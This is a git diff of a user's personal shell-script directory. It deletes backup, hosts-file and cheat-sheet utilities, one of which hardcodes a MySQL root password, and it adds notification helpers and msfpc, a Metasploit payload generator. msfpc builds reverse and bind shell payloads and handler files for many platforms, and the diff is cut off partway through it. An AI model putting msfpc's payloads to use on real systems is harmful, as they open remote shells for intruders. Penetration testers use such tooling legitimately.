diff --git a/bin/.bin/addhost b/bin/.bin/addhost deleted file mode 100755 index a938c4c7..00000000 --- a/bin/.bin/addhost +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/bash -if [ $1 ]; then - case $1 in - -h|--help) - echo "Add entrys to your hosts file" - echo "" - echo -e "addhost domain.com\t\t\t\tadds domain.com to your hosts and points to local machine" - echo -e "addhost (alex|aaron|jonathan|vps01|vps02) domain.com\tadds domain.com to your hosts and points to persons machine" - ;; - alex) - echo -e "10.0.1.201\t$2" | sudo tee -a /etc/hosts - ;; - aaron) - echo -e "10.0.1.202\t$2" | sudo tee -a /etc/hosts - ;; - jonathan) - echo -e "10.0.1.203\t$2" | sudo tee -a /etc/hosts - ;; - vps01) - echo -e "130.185.147.131\t$2" | sudo tee -a /etc/hosts - ;; - vps02) - echo -e "130.185.147.137\t$2" | sudo tee -a /etc/hosts - ;; - *) - echo -e "127.0.0.1\t$1" | sudo tee -a /etc/hosts - ;; - esac -else - echo "You need to add at least a domain" -fi - diff --git a/bin/.bin/backup b/bin/.bin/backup deleted file mode 100755 index 77557a89..00000000 --- a/bin/.bin/backup +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/bash - -#Directory on the server to backup to -BACKUPDIR='/mnt/TimeMachine/Backup-JH/backups/' -LATEST=$(ssh officeServerJH ls ${BACKUPDIR} | sort | tail -n 1) -TODAY=$(date -I -d "today") -echo ${LATEST##*\/} -echo ${TODAY} - -#This can be tricked by having a folder with a date after the current date -if [[ ${LATEST##*\/} = ${TODAY} ]]; then - echo "There already seems to have been a backup today" - echo "If you want to rename the folder ${LATEST} then run again" - exit 0 -fi - -#Backup sites directory -rsync --archive --one-file-system --hard-links --human-readable --inplace\ - --exclude-from=./backupExcludes\ - --link-dest=${BACKUPDIR}${LATEST}\ - ~/Sites officeServerJH:/mnt/TimeMachine/Backup-JH/backups/${TODAY}/ --verbose - -#Backup Documents Directory -rsync --archive --one-file-system --hard-links --human-readable --inplace\ - --exclude-from=./backupExcludes\ - --link-dest=${BACKUPDIR}${LATEST}\ - ~/Documents officeServerJH:/mnt/TimeMachine/Backup-JH/backups/${TODAY}/ --verbose - -#At some point, add ability to delete old backups diff --git a/bin/.bin/backupDatabases b/bin/.bin/backupDatabases deleted file mode 100755 index aaa41729..00000000 --- a/bin/.bin/backupDatabases +++ /dev/null @@ -1,15 +0,0 @@ -#! /bin/bash -TIMESTAMP=$(date +"%F") -BACKUP_DIR="$HOME/Sites/db-backups" -MYSQL_USER="root" -MYSQL_PASSWORD="root" -MYSQL=/opt/lampp/bin/mysql -MYSQLDUMP=/opt/lampp/bin/mysqldump - -mkdir -p "$BACKUP_DIR" - -databases=`$MYSQL --user=$MYSQL_USER -p$MYSQL_PASSWORD -e "SHOW DATABASES;" | grep -Ev "(Database|information_schema|performance_schema)"` - -for db in $databases; do - $MYSQLDUMP --force --opt --user=$MYSQL_USER -p$MYSQL_PASSWORD --databases $db | gzip > "$BACKUP_DIR/$db-$TIMESTAMP.sql.gz" -done diff --git a/bin/.bin/backupExcludes b/bin/.bin/backupExcludes deleted file mode 100644 index c8dbc491..00000000 --- a/bin/.bin/backupExcludes +++ /dev/null @@ -1,2 +0,0 @@ -.git/ -node_modules/ diff --git a/bin/.bin/cheat b/bin/.bin/cheat deleted file mode 100755 index 38cb8a25..00000000 --- a/bin/.bin/cheat +++ /dev/null @@ -1,178 +0,0 @@ -#!/bin/bash -# Original Author: Alexander Epstein https://github.com/alexanderepstein - -currentVersion="1.10.0" -configuredClient="" -search="0" -insensitive="" -recursive="" -boundry="" - -## This function determines which http get tool the system has installed and returns an error if there isnt one -getConfiguredClient() -{ - if command -v curl &>/dev/null ; then - configuredClient="curl" - elif command -v wget &>/dev/null ; then - configuredClient="wget" - elif command -v fetch &>/dev/null ; then - configuredClient="fetch" - else - echo "Error: This tool reqires either curl, wget, or fetch to be installed." - return 1 - fi - -} - -## Allows to call the users configured client without if statements everywhere -httpGet() -{ - case "$configuredClient" in - curl) curl -A curl -s "$@";; - wget) wget -qO- "$@";; - fetch) fetch -o "...";; - esac -} - - -checkInternet() -{ - echo -e "GET http://google.com HTTP/1.0\n\n" | nc google.com 80 > /dev/null 2>&1 # query google with a get request - if [ $? -eq 0 ]; then #check if the output is 0, if so no errors have occured and we have connected to google successfully - return 0 - else - echo "Error: no active internet connection" >&2 #sent to stderr - return 1 - fi -} - - -usage() -{ - echo "Cheat tool" - echo "Usage: cheat [flags] [command] or cheat [flags] [programming language] [subject]" - echo " -s Does a search for last argument rather than looking for exact match" - echo " -i Case insensitive search" - echo " -b Word boundaries in search" - echo " -r Recursive search" - echo " -h Show the help" - echo " -v Get the tool version" - echo "Special Pages:" - echo " hello Describes building the hello world program written in the language" - echo " list This lists all cheatsheets related to previous arg if none it lists all cheatsheets" - echo " learn Shows a learn-x-in-minutes language cheat sheet perfect for getting started with the language" - echo " 1line A collection of one-liners in this language" - echo " weirdness A collection of examples of weird things in this language" -} - -getCheatSheet() -{ - if [[ $# == 1 ]]; then - if [[ $search == "1" ]];then - link=cheat.sh/~$1 - else - link=cheat.sh/$1 - fi - else - link=cheat.sh/$1 - fi - - if [[ $# == 2 ]];then - if [[ $search == "1" ]];then - link+=/~$2 - else - link+=/$2 - fi - fi - - if [[ $insensitive != "" || $recursive != "" || $boundry != "" ]];then link+=/$boundry$insensitive$recursive; fi - - httpGet $link -} - -checkSpecialPage() -{ - temp=$1 - if [[ $1 == "list" ]];then - temp=":list" - elif [[ $1 == "learn" ]];then - temp=":list" - elif [[ $1 == "styles" ]];then - temp=":styles" - fi - if [[ $2 == "1" ]];then - arg1=$temp - else - arg2=$temp - fi -} - -getConfiguredClient || exit 1 -#checkInternet || exit 1 - -while getopts "ribuvhis" opt; do - case $opt in - \?) - echo "Invalid option: -$OPTARG" >&2 - exit 1 - ;; - h) - usage - exit 0 - ;; - v) - echo "Version $currentVersion" - exit 0 - ;; - i) - insensitive="i" - search="1" - ;; - b) - boundry="b" - search="1" - ;; - r) - recursive="r" - search="1" - ;; - s) - search="1" - ;; - :) - echo "Option -$OPTARG requires an argument." >&2 - exit 1 - ;; - esac -done - -for arg -do - if [[ $arg != "-r" && $arg != "-s" && $arg != "-b" && $arg != "-i" ]];then - if [ -z ${arg1+x} ];then - arg1=$arg - fi - if [ ! -z ${arg1+x} ];then - arg2=$arg - fi - fi -done - -checkSpecialPage $arg1 1 -checkSpecialPage $arg2 2 - -if [[ $# == 0 ]]; then - usage - exit 0 -elif [[ $1 == "help" || $1 == ":help" ]];then - usage - exit 0 -else - if [[ $arg1 != $arg2 ]];then - getCheatSheet $arg1 $arg2 - else - getCheatSheet $arg1 - fi - exit 0 - -fi diff --git a/bin/.bin/fancytext b/bin/.bin/fancytext new file mode 100755 index 00000000..0901ac6f --- /dev/null +++ b/bin/.bin/fancytext @@ -0,0 +1,35 @@ +#!/usr/bin/gawk -f +# Echo the input as different "fonts." Redirect this into an html +# page and copy/paste fancy text into twitter or facebook. + +BEGIN { alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } + +function is_alpha(c) { + return(index(alpha, c)); +} +function print_script(c) { + if ( is_alpha(c) ) { printf("&%cscr;", c); } else { printf("%c", c); } +} +function print_fraktur(c) { + if ( is_alpha(c) ) { printf("&%cfr;", c); } else { printf("%c", c); } +} +function print_double(c) { + if ( is_alpha(c) ) { printf("&%copf;", c); } else { printf("%c", c); } +} +{ text=$0; + len=length(text); + + print "data:text/html,

"; + for (i=1; i<=len; i++) { + print_script( substr(text, i, 1) ); + } + print "

"; + for (i=1; i<=len; i++) { + print_fraktur( substr(text, i, 1) ); + } + print "

"; + for (i=1; i<=len; i++) { + print_double( substr(text, i, 1) ); + } + print "

"; +} diff --git a/bin/.bin/freeEbook b/bin/.bin/freeEbook deleted file mode 100755 index 5275032a..00000000 --- a/bin/.bin/freeEbook +++ /dev/null @@ -1,10 +0,0 @@ -#!/usr/bin/bash -markup=$(curl https://www.packtpub.com/packt/offers/free-learning 2> /dev/null | sed 's/"\/\//"https:\/\//g') -#img=$(echo "$markup" | sed -n "/dotd-main-book-image/,$ p" | head | sed -n "/ /tmp/freeBook 2> /dev/null -clear -imgcat /tmp/freeBook -rm /tmp/freeBook -echo "https://www.packtpub.com/packt/offers/free-learning#" diff --git a/bin/.bin/iconProject b/bin/.bin/iconProject new file mode 100755 index 00000000..f06eab0b --- /dev/null +++ b/bin/.bin/iconProject @@ -0,0 +1,9 @@ +#!/usr/bin/env bash + + +node /home/jonathan/GitRepos/chrome-curl/index.js "$1" |\ + #hq '.iconPreview' data + hq '.iconPreview' attr style | # This gets the style attribute from the preview element + cut -d '"' -f 2 | cut -d ',' -f 2 | # Gets the base 64 out that we want + base64 -d | # Decodes it + xclip -selection clipboard -target image/svg+xml -i # Puts it on the clipboard diff --git a/bin/.bin/notifications/notify-action b/bin/.bin/notifications/notify-action new file mode 100755 index 00000000..dda9c197 --- /dev/null +++ b/bin/.bin/notifications/notify-action @@ -0,0 +1,70 @@ +#!/usr/bin/env bash + +# Taken from here: https://raw.githubusercontent.com/vlevit/notify-send.sh/master/notify-action.sh + +GDBUS_MONITOR_PID=/tmp/notify-action-dbus-monitor.$$.pid +GDBUS_MONITOR=(gdbus monitor --session --dest org.freedesktop.Notifications --object-path /org/freedesktop/Notifications) + +NOTIFICATION_ID="$1" +if [[ -z "$NOTIFICATION_ID" ]]; then + echo "no notification id passed: $@" + exit 1; +fi +shift + +ACTION_COMMANDS=("$@") +if [[ -z "$ACTION_COMMANDS" ]]; then + echo "no action commands passed: $@" + exit 1; +fi + +cleanup() { + rm -f "$GDBUS_MONITOR_PID" +} + +create_pid_file(){ + rm -f "$GDBUS_MONITOR_PID" + umask 077 + touch "$GDBUS_MONITOR_PID" +} + +invoke_action() { + invoked_action_id="$1" + local action="" cmd="" + for index in "${!ACTION_COMMANDS[@]}"; do + if [[ $((index % 2)) == 0 ]]; then + action="${ACTION_COMMANDS[$index]}" + else + cmd="${ACTION_COMMANDS[$index]}" + if [[ "$action" == "$invoked_action_id" ]]; then + bash -c "${cmd}" & + fi + fi + done +} + +monitor() { + + create_pid_file + ( "${GDBUS_MONITOR[@]}" & echo $! >&3 ) 3>"$GDBUS_MONITOR_PID" | while read -r line + do + local closed_notification_id="$(sed '/^\/org\/freedesktop\/Notifications: org.freedesktop.Notifications.NotificationClosed (uint32 \([0-9]\+\), uint32 [0-9]\+)$/!d;s//\1/' <<< "$line")" + if [[ -n "$closed_notification_id" ]]; then + if [[ "$closed_notification_id" == "$NOTIFICATION_ID" ]]; then + invoke_action close + break + fi + else + local action_invoked="$(sed '/\/org\/freedesktop\/Notifications: org.freedesktop.Notifications.ActionInvoked (uint32 \([0-9]\+\), '\''\(.*\)'\'')$/!d;s//\1:\2/' <<< "$line")" + IFS=: read invoked_id action_id <<< "$action_invoked" + if [[ "$invoked_id" == "$NOTIFICATION_ID" ]]; then + invoke_action "$action_id" + break + fi + fi + done + kill $(<"$GDBUS_MONITOR_PID") + cleanup +} + +monitor diff --git a/bin/.bin/notifications/notify-send b/bin/.bin/notifications/notify-send new file mode 100755 index 00000000..ffeeffc7 --- /dev/null +++ b/bin/.bin/notifications/notify-send @@ -0,0 +1,314 @@ +#!/usr/bin/env bash + +# Taken from here: https://raw.githubusercontent.com/vlevit/notify-send.sh/master/notify-send.sh + +# notify-send.sh - drop-in replacement for notify-send with more features +# Copyright (C) 2015-2019 notify-send.sh authors (see AUTHORS file) + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Desktop Notifications Specification +# https://developer.gnome.org/notification-spec/ + +VERSION=1.0 +NOTIFY_ARGS=(--session + --dest org.freedesktop.Notifications + --object-path /org/freedesktop/Notifications) +EXPIRE_TIME=-1 +APP_NAME="${0##*/}" +REPLACE_ID=0 +URGENCY=1 +HINTS=() +SUMMARY_SET=n + +help() { + cat < [BODY] - create a notification + +Help Options: + -?|--help Show help options + +Application Options: + -u, --urgency=LEVEL Specifies the urgency level (low, normal, critical). + -t, --expire-time=TIME Specifies the timeout in milliseconds at which to expire the notification. + -f, --force-expire Forcefully closes the notification when the notification has expired. + -a, --app-name=APP_NAME Specifies the app name for the icon. + -i, --icon=ICON[,ICON...] Specifies an icon filename or stock icon to display. + -c, --category=TYPE[,TYPE...] Specifies the notification category. + -h, --hint=TYPE:NAME:VALUE Specifies basic extra data to pass. Valid types are int, double, string and byte. + -o, --action=LABEL:COMMAND Specifies an action. Can be passed multiple times. LABEL is usually a button's label. COMMAND is a shell command executed when action is invoked. + -d, --default-action=COMMAND Specifies the default action which is usually invoked by clicking the notification. + -l, --close-action=COMMAND Specifies the action invoked when notification is closed. + -p, --print-id Print the notification ID to the standard output. + -r, --replace=ID Replace existing notification. + -R, --replace-file=FILE Store and load notification replace ID to/from this file. + -s, --close=ID Close notification. + -v, --version Version of the package. + +EOF +} + +convert_type() { + case "$1" in + int) echo int32 ;; + double|string|byte) echo "$1" ;; + *) echo error; return 1 ;; + esac +} + +make_action_key() { + echo "$(tr -dc _A-Z-a-z-0-9 <<< \"$1\")${RANDOM}" +} + +make_action() { + local action_key="$1" + printf -v text "%q" "$2" + echo "\"$action_key\", \"$text\"" +} + +make_hint() { + type=$(convert_type "$1") + [[ ! $? = 0 ]] && return 1 + name="$2" + [[ "$type" = string ]] && command="\"$3\"" || command="$3" + echo "\"$name\": <$type $command>" +} + +concat_actions() { + local result="$1" + shift + for s in "$@"; do + result="$result, $s" + done + echo "[$result]" +} + +concat_hints() { + local result="$1" + shift + for s in "$@"; do + result="$result, $s" + done + echo "{$result}" +} + +parse_notification_id(){ + sed 's/(uint32 \([0-9]\+\),)/\1/g' +} + +notify() { + local actions="$(concat_actions "${ACTIONS[@]}")" + local hints="$(concat_hints "${HINTS[@]}")" + + NOTIFICATION_ID=$(gdbus call "${NOTIFY_ARGS[@]}" \ + --method org.freedesktop.Notifications.Notify \ + "$APP_NAME" "$REPLACE_ID" "$ICON" "$SUMMARY" "$BODY" \ + "${actions}" "${hints}" "int32 $EXPIRE_TIME" \ + | parse_notification_id) + + if [[ -n "$STORE_ID" ]] ; then + echo "$NOTIFICATION_ID" > $STORE_ID + fi + if [[ -n "$PRINT_ID" ]] ; then + echo "$NOTIFICATION_ID" + fi + + if [[ -n "$FORCE_EXPIRE" ]] ; then + type bc &> /dev/null || { echo "bc command not found. Please install bc package."; exit 1; } + SLEEP_TIME="$(bc <<< "scale=3; $EXPIRE_TIME / 1000")" + ( sleep "$SLEEP_TIME" ; notify_close "$NOTIFICATION_ID" ) & + fi + + maybe_run_action_handler +} + +notify_close () { + gdbus call "${NOTIFY_ARGS[@]}" --method org.freedesktop.Notifications.CloseNotification "$1" >/dev/null +} + +process_urgency() { + case "$1" in + low) URGENCY=0 ;; + normal) URGENCY=1 ;; + critical) URGENCY=2 ;; + *) echo "Unknown urgency $URGENCY specified. Known urgency levels: low, normal, critical." + exit 1 + ;; + esac +} + +process_category() { + IFS=, read -a categories <<< "$1" + for category in "${categories[@]}"; do + hint="$(make_hint string category "$category")" + HINTS=("${HINTS[@]}" "$hint") + done +} + +process_hint() { + IFS=: read type name command <<< "$1" + if [[ -z "$name" ]] || [[ -z "$command" ]] ; then + echo "Invalid hint syntax specified. Use TYPE:NAME:VALUE." + exit 1 + fi + hint="$(make_hint "$type" "$name" "$command")" + if [[ ! $? = 0 ]] ; then + echo "Invalid hint type \"$type\". Valid types are int, double, string and byte." + exit 1 + fi + HINTS=("${HINTS[@]}" "$hint") +} + +maybe_run_action_handler() { + if [[ -n "$NOTIFICATION_ID" ]] && [[ -n "$ACTION_COMMANDS" ]]; then + local notify_action="$(dirname ${BASH_SOURCE[0]})/notify-action" + if [[ -x "$notify_action" ]] ; then + "$notify_action" "$NOTIFICATION_ID" "${ACTION_COMMANDS[@]}" & + exit 0 + else + echo "executable file not found: $notify_action" + exit 1 + fi + fi +} + +process_action() { + IFS=: read name command <<<"$1" + if [[ -z "$name" ]] || [[ -z "$command" ]]; then + echo "Invalid action syntax specified. Use NAME:COMMAND." + exit 1 + fi + + local action_key="$(make_action_key "$name")" + ACTION_COMMANDS=("${ACTION_COMMANDS[@]}" "$action_key" "$command") + + local action="$(make_action "$action_key" "$name")" + ACTIONS=("${ACTIONS[@]}" "$action") +} + +process_special_action() { + action_key="$1" + command="$2" + + if [[ -z "$action_key" ]] || [[ -z "$command" ]]; then + echo "Command must not be empty" + exit 1 + fi + + ACTION_COMMANDS=("${ACTION_COMMANDS[@]}" "$action_key" "$command") + + if [[ "$action_key" != close ]]; then + local action="$(make_action "$action_key" "$name")" + ACTIONS=("${ACTIONS[@]}" "$action") + fi +} + +process_posargs() { + if [[ "$1" = -* ]] && ! [[ "$positional" = yes ]] ; then + echo "Unknown option $1" + exit 1 + else + if [[ "$SUMMARY_SET" = n ]]; then + SUMMARY="$1" + SUMMARY_SET=y + else + BODY="$1" + fi + fi +} + +while (( $# > 0 )) ; do + case "$1" in + -\?|--help) + help + exit 0 + ;; + -v|--version) + echo "${0##*/} $VERSION" + exit 0 + ;; + -u|--urgency|--urgency=*) + [[ "$1" = --urgency=* ]] && urgency="${1#*=}" || { shift; urgency="$1"; } + process_urgency "$urgency" + ;; + -t|--expire-time|--expire-time=*) + [[ "$1" = --expire-time=* ]] && EXPIRE_TIME="${1#*=}" || { shift; EXPIRE_TIME="$1"; } + ;; + -f|--force-expire) + FORCE_EXPIRE=yes + ;; + -a|--app-name|--app-name=*) + [[ "$1" = --app-name=* ]] && APP_NAME="${1#*=}" || { shift; APP_NAME="$1"; } + ;; + -i|--icon|--icon=*) + [[ "$1" = --icon=* ]] && ICON="${1#*=}" || { shift; ICON="$1"; } + ;; + -c|--category|--category=*) + [[ "$1" = --category=* ]] && category="${1#*=}" || { shift; category="$1"; } + process_category "$category" + ;; + -h|--hint|--hint=*) + [[ "$1" = --hint=* ]] && hint="${1#*=}" || { shift; hint="$1"; } + process_hint "$hint" + ;; + -o | --action | --action=*) + [[ "$1" == --action=* ]] && action="${1#*=}" || { shift; action="$1"; } + process_action "$action" + ;; + -d | --default-action | --default-action=*) + [[ "$1" == --default-action=* ]] && default_action="${1#*=}" || { shift; default_action="$1"; } + process_special_action default "$default_action" + ;; + -l | --close-action | --close-action=*) + [[ "$1" == --close-action=* ]] && close_action="${1#*=}" || { shift; close_action="$1"; } + process_special_action close "$close_action" + ;; + -p|--print-id) + PRINT_ID=yes + ;; + -r|--replace|--replace=*) + [[ "$1" = --replace=* ]] && REPLACE_ID="${1#*=}" || { shift; REPLACE_ID="$1"; } + ;; + -R|--replace-file|--replace-file=*) + [[ "$1" = --replace-file=* ]] && filename="${1#*=}" || { shift; filename="$1"; } + if [[ -s "$filename" ]]; then + REPLACE_ID="$(< $filename)" + fi + STORE_ID="$filename" + ;; + -s|--close|--close=*) + [[ "$1" = --close=* ]] && close_id="${1#*=}" || { shift; close_id="$1"; } + notify_close "$close_id" + exit $? + ;; + --) + positional=yes + ;; + *) + process_posargs "$1" + ;; + esac + shift +done + +# urgency is always set +HINTS=("$(make_hint byte urgency "$URGENCY")" "${HINTS[@]}") + +if [[ "$SUMMARY_SET" = n ]] ; then + help + exit 1 +else + notify +fi diff --git a/bin/.bin/offline-aw b/bin/.bin/offline-aw deleted file mode 100755 index 8bde93d0..00000000 --- a/bin/.bin/offline-aw +++ /dev/null @@ -1,10 +0,0 @@ -#!/usr/bin/env bash - -# Offline version of aw in markdown - -AW_FOLDER="$HOME/GitRepos/arch-wiki-md-repo/wiki/_content/english/" - -cd "$AW_FOLDER" -selection=$(find . -name \*.md | rofi -dmenu -i -p "Page") -compiler "$selection" -opout "$selection" diff --git a/bin/.bin/payload-generation/msfpc b/bin/.bin/payload-generation/msfpc new file mode 100755 index 00000000..e44a75b8 --- /dev/null +++ b/bin/.bin/payload-generation/msfpc @@ -0,0 +1,879 @@ +#!/bin/bash +#-Metadata----------------------------------------------------# +# Filename: msfpc.sh (v1.4.5) (Update: 2019-02-18) # +#-Info--------------------------------------------------------# +# Quickly generate Metasploit payloads using msfvenom. # +#-Author(s)---------------------------------------------------# +# g0tmilk ~ https://blog.g0tmi1k.com/ # +#-Operating System--------------------------------------------# +# Designed for & tested on: Kali Rolling & Metasploit v4.11+ # +# Reported working: OSX 10.11+ & Kali Linux 1.x/2.x # +#-Licence-----------------------------------------------------# +# MIT License ~ http://opensource.org/licenses/MIT # +#-Notes-------------------------------------------------------# +# Requires: # +# Metasploit Framework v4.11.3-2015062101 or higher # +# --- # +# Useful Manual Commands: # +# msfvenom --list payloads # +# msfvenom --list encoders # +# msfvenom --help-formats # +# --- # +# Reminder about payload names: # +# shell_bind_tcp - Single / Inline / NonStaged / Stageless # +# shell/bind_tcp - Staged (Requires Metasploit) # +#-Known Bugs--------------------------------------------------# +# [BATCH/LOOP] The script must have the executable flag set # +# [BATCH] Will not generate DLL files # +#-------------------------------------------------------------# + +#--Quick Install----------------------------------------------# +# curl -k -L "https://raw.githubusercontent.com/g0tmi1k/msfpc/master/msfpc.sh" > /usr/bin/msfpc; chmod +x /usr/bin/msfpc +#-------------------------------------------------------------# + +#-More information--------------------------------------------# +# - https://www.offensive-security.com/metasploit-unleashed/payloads/ +# - https://www.offensive-security.com/metasploit-unleashed/payload-types/ +# - https://www.offensive-security.com/metasploit-unleashed/msfvenom/ +# - https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads +# - https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom +# - https://community.rapid7.com/community/metasploit/blog/2014/12/09/good-bye-msfpayload-and-msfencode +# - https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom +#-------------------------------------------------------------# + + +#-Defaults----------------------------------------------------# + + +##### Variables +OUTPATH="$( pwd )/" # Others: ./ /tmp/ /var/www/ + +##### (Cosmetic) Colour output +RED="\033[01;31m" # Issues/Errors +GREEN="\033[01;32m" # Success/Asking for Input +YELLOW="\033[01;33m" # Warnings/Information +BLUE="\033[01;34m" # Heading +BOLD="\033[01;01m" # Highlight +RESET="\033[00m" # Normal + +##### Read command line arguments +TYPE="" #"$( echo ${1} | \tr '[:upper:]' '[:lower:]' )" Defalut: *REQUIRED* +IP="" #"${2}" Defalut: *IP menu* +PORT="" #"${3}" Deafult: 443 +SHELL="" # shell // meterpreter Default: meterpreter +DIRECTION="" # reverse // bind Default: reverse +STAGE="" # staged // stageless Default: stageless +METHOD="" # tcp // http // https // find_port Default: tcp +VERBOSE=false + +##### Default values +SUCCESS=false # Did we successfully create a payload? +DOMAIN=false # IP address or domain name? +BATCH=false # Are we creating multiple payloads (one of each type) ? +LOOP=false # Are we creating multiple payloads (every possible combination)? +HELP=false # Display the help screen? +DARWIN=false # In case of OSX users + +##### (Optional) Enable debug mode? +#set -x + + +#-Function----------------------------------------------------# + +## doAction TYPE IP PORT PAYLOAD CMD FILEEXT SHELL DIRECTION STAGE METHOD VERBOSE +function doAction { + TYPE="${1}" + IP="${2}" + PORT="${3}" + PAYLOAD="${4}" + CMD="${5}" + FILEEXT="${6%-service}" + SHELL="${7}" + DIRECTION="${8}" + STAGE="${9}" + METHOD="${10}" + VERBOSE="${11}" + + if [[ -z "${VERBOSE}" ]]; then + echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally)${RESET}: doAction TYPE(${TYPE}) IP(${IP}) PORT(${PORT}) PAYLOAD(${PAYLOAD}) CMD(${CMD}) FILEEXT(${FILEEXT}) SHELL(${SHELL}) DIRECTION(${DIRECTION}) STAGE(${STAGE}) METHOD(${METHOD}) VERBOSE(${VERBOSE})" >&2 + exit 2 + fi + + FILENAME="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}" + FILEHANDLE="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}-${FILEEXT}.rc" + + X=" IP" + [[ "${DOMAIN}" == "true" ]] \ + && X='NAME' + [[ "${VERBOSE}" == "true" ]] \ + && PADDING=' ' + + echo -e " ${YELLOW}[i]${RESET}${PADDING} ${X}: ${YELLOW}${IP}${RESET}" + echo -e " ${YELLOW}[i]${RESET}${PADDING} PORT: ${YELLOW}${PORT}${RESET}" + echo -e " ${YELLOW}[i]${RESET}${PADDING} TYPE: ${YELLOW}${TYPE}${RESET} (${PAYLOAD})" + if [[ "${VERBOSE}" == "true" ]]; then + echo -e " ${YELLOW}[i]${RESET} SHELL: ${YELLOW}${SHELL}${RESET}" + echo -e " ${YELLOW}[i]${RESET} DIRECTION: ${YELLOW}${DIRECTION}${RESET}" + echo -e " ${YELLOW}[i]${RESET} STAGE: ${YELLOW}${STAGE}${RESET}" + echo -e " ${YELLOW}[i]${RESET} METHOD: ${YELLOW}${METHOD}${RESET}" + fi + echo -e " ${YELLOW}[i]${RESET}${PADDING} CMD: ${BOLD}${CMD}${RESET}" + echo "" + + CMD=$( echo $CMD | sed 's/\\\\\n//g' ) + + [[ -e "${FILENAME}" ]] \ + && echo -e " ${YELLOW}[i]${RESET} File (${FILENAME}) ${YELLOW}already exists${RESET}. ${YELLOW}Overwriting...${RESET}" \ + && rm -f "${FILENAME}" + eval "${CMD}" 2>/tmp/msfpc.out + [[ ! -s "${FILENAME}" ]] \ + && rm -f "${FILENAME}" + if [[ -e "${FILENAME}" ]]; then + echo -e " ${YELLOW}[i]${RESET} ${TYPE} ${SHELL} created: '${YELLOW}${FILENAME}${RESET}'" + echo "" + \chmod +x "${FILENAME}" + else + echo "" + \grep -q 'Invalid Payload Selected' /tmp/msfpc.out 2>/dev/null + if [[ "$?" == '0' ]]; then + echo -e "\n ${YELLOW}[i]${RESET} ${RED}Invalid Payload Selected${RESET} (Metasploit doesn't support this) =(" >&2 + \rm -f /tmp/msfpc.out + else + echo -e "\n ${YELLOW}[i]${RESET} Something went wrong. ${RED}Issue creating file${RESET} =(." >&2 + echo -e "\n----------------------------------------------------------------------------------------" + [ -e "/usr/share/metasploit-framework/build_rev.txt" ] \ + && \cat /usr/share/metasploit-framework/build_rev.txt \ + || \msfconsole -v + \uname -a + echo -e "----------------------------------------------------------------------------------------${RED}" + \cat /tmp/msfpc.out + echo -e "${RESET}----------------------------------------------------------------------------------------\n" + fi + exit 2 + fi + #\rm -f /tmp/msfpc.out + + if [[ "${VERBOSE}" == "true" ]]; then + echo -e " ${YELLOW}[i]${RESET} File: $( \file -b ${FILENAME} )" + echo -e " ${YELLOW}[i]${RESET} Size: $( \du -h ${FILENAME} | \cut -f1 )" + echo -e " ${YELLOW}[i]${RESET} MD5: $( \openssl md5 ${FILENAME} | \awk '{print $2}' )" + echo -e " ${YELLOW}[i]${RESET} SHA1: $( \openssl sha1 ${FILENAME} | \awk '{print $2}' )" + echo -e "" + fi + + HOST="LHOST" + [[ "${DIRECTION}" == "bind" ]] \ + && HOST="RHOST" + + cat < "${FILEHANDLE}" +# +# [Kali]: msfdb start; msfconsole -q -r '${FILEHANDLE}' +# +use exploit/multi/handler +set PAYLOAD ${PAYLOAD} +set ${HOST} ${IP} +set LPORT ${PORT} +set ExitOnSession false +set EnableStageEncoding true +#set AutoRunScript 'post/windows/manage/migrate' +run -j +EOF + + echo -e " ${YELLOW}[i]${RESET} MSF handler file: '${FILEHANDLE}'" + echo -e " ${YELLOW}[i]${RESET} Run: msfconsole -q -r '${FILEHANDLE}'" + #echo -e " ${YELLOW}[i]${RESET} MSF command: msfconsole -x \"use exploit/multi/handler; \\\\\n set PAYLOAD ${PAYLOAD}; \\\\\n set ${HOST} ${IP}; \\\\\n set LPORT ${PORT}; \\\\\n set ExitOnSession false; \\\\\n run -j\"" + SUCCESS=true + return +} + +## doHelp +function doHelp { + echo -e "\n ${BLUE}${0}${RESET} <${BOLD}TYPE${RESET}> (<${BOLD}DOMAIN/IP${RESET}>) (<${BOLD}PORT${RESET}>) (<${BOLD}CMD/MSF${RESET}>) (<${BOLD}BIND/REVERSE${RESET}>) (<${BOLD}STAGED/STAGELESS${RESET}>) (<${BOLD}TCP/HTTP/HTTPS/FIND_PORT${RESET}>) (<${BOLD}BATCH/LOOP${RESET}>) (<${BOLD}VERBOSE${RESET}>)" + echo -e " Example: ${BLUE}${0} windows 192.168.1.10${RESET} # Windows & manual IP." + echo -e " ${BLUE}${0} elf bind eth0 4444${RESET} # Linux, eth0's IP & manual port." + echo -e " ${BLUE}${0} stageless cmd py https${RESET} # Python, stageless command prompt." + echo -e " ${BLUE}${0} verbose loop eth1${RESET} # A payload for every type, using eth1's IP." + echo -e " ${BLUE}${0} msf batch wan${RESET} # All possible Meterpreter payloads, using WAN IP." + echo -e " ${BLUE}${0} help verbose${RESET} # Help screen, with even more information." + echo "" + echo -e " <${BOLD}TYPE${RESET}>:" + echo -e " + ${YELLOW}APK${RESET}" + echo -e " + ${YELLOW}ASP${RESET}" + echo -e " + ${YELLOW}ASPX${RESET}" + echo -e " + ${YELLOW}Bash${RESET} [.${YELLOW}sh${RESET}]" + echo -e " + ${YELLOW}Java${RESET} [.${YELLOW}jsp${RESET}]" + echo -e " + ${YELLOW}Linux${RESET} [.${YELLOW}elf${RESET}]" + echo -e " + ${YELLOW}OSX${RESET} [.${YELLOW}macho${RESET}]" + echo -e " + ${YELLOW}Perl${RESET} [.${YELLOW}pl${RESET}]" + echo -e " + ${YELLOW}PHP${RESET}" + echo 